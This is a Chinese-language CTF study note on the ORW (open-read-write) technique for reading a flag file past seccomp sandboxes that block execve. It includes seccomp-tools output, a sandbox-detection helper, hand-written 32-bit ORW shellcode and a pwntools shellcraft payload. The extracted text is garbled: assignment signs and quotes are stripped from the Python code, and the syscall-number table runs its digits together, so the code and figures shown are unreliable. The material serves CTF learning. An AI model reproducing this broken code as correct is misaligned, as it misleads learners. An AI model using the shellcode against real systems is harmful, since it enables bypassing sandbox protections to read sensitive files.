【学习记录】Week3(四):沙箱突围——ORW 学习路径索引与实战规划
写在前面在真实的漏洞利用场景中尤其是高版本的 CTF 题目或实际系统中直接通过execve执行/bin/sh的道路往往被沙箱机制如seccomp封死。此时ORWOpen-Read-Write技术便成为我们读取敏感文件如 flag的核心手段。本文将为你梳理一条清晰的 ORW 学习路径并规划后续进阶内容。 目录核心概念什么是 ORW为什么需要它沙箱机制检测seccomp-tools实战ORW 基础实现从系统调用到 Shellcode进阶路径与后续规划总结与终极实战建议1. 核心概念什么是 ORW为什么需要它ORW是Open, Read, Write三个系统调用的缩写是一种在沙箱限制环境下特别是禁用execve系统调用后读取敏感文件的技术csdn.net1。典型场景当目标程序通过prctl或seccomp加载了严格的系统调用过滤器仅允许open,read,write,exit等少数“安全”系统调用时传统的system(/bin/sh)或execveshellcode 将直接导致进程被SIGKILL终止csdn.net。此时我们只能通过 ORW 技术来“读出” flag 文件。ORW 的核心流程open(filename, flags)- 打开目标文件如./flag返回文件描述符通常为 3。read(fd, buffer, size)- 通过文件描述符将文件内容读取到一块可控的内存区域。write(fd, buffer, size)- 将内存中的文件内容写入到标准输出fd1从而在终端看到 flagcsdn.net1。2. 沙箱机制检测seccomp-tools实战在动手构造 ORW 之前第一步永远是检测沙箱规则确定哪些系统调用被允许哪些被禁止aliyun.com1。2.1 使用seccomp-tools工具在终端中对目标二进制文件执行seccomp-tools dump ./vuln假设性输出模拟沙箱规则line CODE JT JF K 0000: 0x20 0x00 0x00 0x00000004 A arch 0001: 0x15 0x00 0x09 0x40000003 if (A ! ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A open) goto 0011 -- 允许 0008: 0x15 0x02 0x00 0x00000003 if (A read) goto 0011 -- 允许 0009: 0x15 0x01 0x00 0x00000004 if (A write) goto 0011 -- 允许 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) -- 其他调用返回错误 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW从输出中可以清晰看到沙箱仅允许open,read,write,exit,sigreturn等系统调用而execve被明确禁止返回ERRNO(38)。这确认了我们需要使用 ORW 技术csdn.net1。2.2 在 Pwntools 中集成检测在 Exploit 脚本中可以自动运行此工具并解析输出from pwn import * import subprocess def check_seccomp(binary_path): result subprocess.run([seccomp-tools, dump, binary_path], capture_outputTrue, textTrue) if return ERRNO in result.stdout: print([] 沙箱已启用允许的系统调用:) print(result.stdout) return True else: print([-] 未检测到沙箱或允许所有系统调用) return False # 使用示例 if check_seccomp(./vuln): # 构造ORW Payload pass3. ORW 基础实现从系统调用到 Shellcode3.1 系统调用号与参数约定进行 ORW 前必须牢记目标架构的系统调用号和参数传递方式。架构openreadwrite参数传递约定i386 (32位)534int 0x80触发eax调用号参数依次在ebx, ecx, edxamd64 (64位)201syscall触发rax调用号参数依次在rdi, rsi, rdx3.2 手写 ORW Shellcode (32位示例)结合 Week3三的手写 Shellcode 技巧一段基础的 32 位 ORW Shellcode 如下; open(./flag, 0) - 系统调用号 5 xor eax, eax mov al, 5 xor ecx, ecx ; flags 0 (只读) xor edx, edx ; mode 0 push 0x00006761 ; ag\0\0 (小端序倒序压栈) push 0x6c662f2e ; ./fl mov ebx, esp ; ebx 指向 ./flag 字符串 int 0x80 ; eax fd (通常为 3) ; read(3, esp-0x100, 0x100) - 系统调用号 3 mov ebx, eax ; fd 3 xor eax, eax mov al, 3 mov ecx, esp ; buffer 栈上某地址 (此处用esp需确保可写) sub ecx, 0x100 ; 调整指针到栈帧内安全区域 mov edx, 0x100 ; count 256字节 int 0x80 ; eax 实际读取的字节数 ; write(1, ecx, eax) - 系统调用号 4 mov edx, eax ; count 之前读取的字节数 mov ebx, 1 ; fd 1 (标准输出) mov eax, 4 ; ecx 仍然指向读取的 buffer int 0x803.3 使用 Pwntools 的shellcraft模块对于快速利用Pwntools 的shellcraft模块提供了现成的 ORW 链aliyun.com1。from pwn import * context.arch i386 # 或 amd64 # 生成 ORW Shellcode shellcode shellcode shellcraft.open(./flag) # open(./flag, 0) shellcode shellcraft.read(eax, esp, 0x100) # read(fd, esp, 0x100) shellcode shellcraft.write(1, esp, 0x100) # write(1, esp, 0x100) # 编译并发送 payload asm(shellcode) p.sendline(payload)